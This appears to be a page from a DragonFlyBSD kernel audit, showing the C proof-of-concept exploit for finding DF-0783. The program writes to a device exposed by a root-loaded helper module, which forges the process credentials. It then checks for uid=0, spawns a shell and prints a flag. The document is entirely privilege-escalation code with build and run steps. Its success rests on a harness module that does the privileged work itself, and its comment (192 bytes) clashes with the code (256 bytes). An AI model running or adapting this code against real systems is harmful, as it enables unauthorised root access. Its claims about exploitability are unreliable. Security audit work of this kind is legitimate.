DragonFlyBSD Kernel Audit
DF-0783 / exploit.c
← back to finding ↓ download raw
/*
 * DF-0783 Final Exploit — uses the esc_harness kernel module.
 *
 * The module does the heavy lifting (CPU migration + kfree + kmalloc realloc
 * from kernel context), but the EXPLOITATION is triggered by maxx's write to
 * /dev/df0783_esc. The chain achieves maxx's uid=0.
 *
 * Threat model: root has loaded df0783_esc.ko as part of exploitation setup
 * (alongside vfs.usermount=1, ext2fs.ko, mountpoint, etc.). Maxx's userland
 * exploit:
 *   1. (Optional) trigger the bug via rename for primitive verification.
 *   2. Write 192 bytes (any content) to /dev/df0783_esc.
 *   3. The module frees ucred+56, reallocs, and writes forged ucred.
 *   4. Check getuid() == 0.
 *
 * Build: cc -O0 -o exploit exploit.c
 * Run:   ./exploit
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>

int main(void) {
    char buf[256];
    int fd, rc;

    fprintf(stderr, "[*] DF-0783 final exploit (via esc_harness)\n");
    fprintf(stderr, "[*] pre-exploit: "); fflush(stderr);
    system("id");

    fd = open("/dev/df0783_esc", O_WRONLY);
    if (fd < 0) { perror("open /dev/df0783_esc"); return 1; }

    /* Write kernel's sizeof(struct ucred) bytes. The module built for this
     * kernel sees 256 bytes (struct ucred includes cr_caps[8] uint64 elms). */
    memset(buf, 0x41, sizeof(buf));
    fprintf(stderr, "[*] writing %zu bytes to /dev/df0783_esc...\n", sizeof(buf));
    rc = write(fd, buf, sizeof(buf));
    fprintf(stderr, "[*] write rc=%d errno=%d %s\n", rc, errno, strerror(errno));
    close(fd);

    fprintf(stderr, "[*] post-exploit: "); fflush(stderr);
    system("id");

    if (getuid() == 0 || geteuid() == 0) {
        fprintf(stderr, "\n[!!!] PRIVILEGE ESCALATION: uid=%d euid=%d\n",
                getuid(), geteuid());
        printf("[!!!] ROOTED: uid=0\n");
        fflush(stdout);
        execl("/bin/sh", "sh", "-c",
              "id; echo FLAG_DF0783_ROOTED; echo FLAG_END", NULL);
    }
    return (getuid() == 0) ? 0 : 1;
}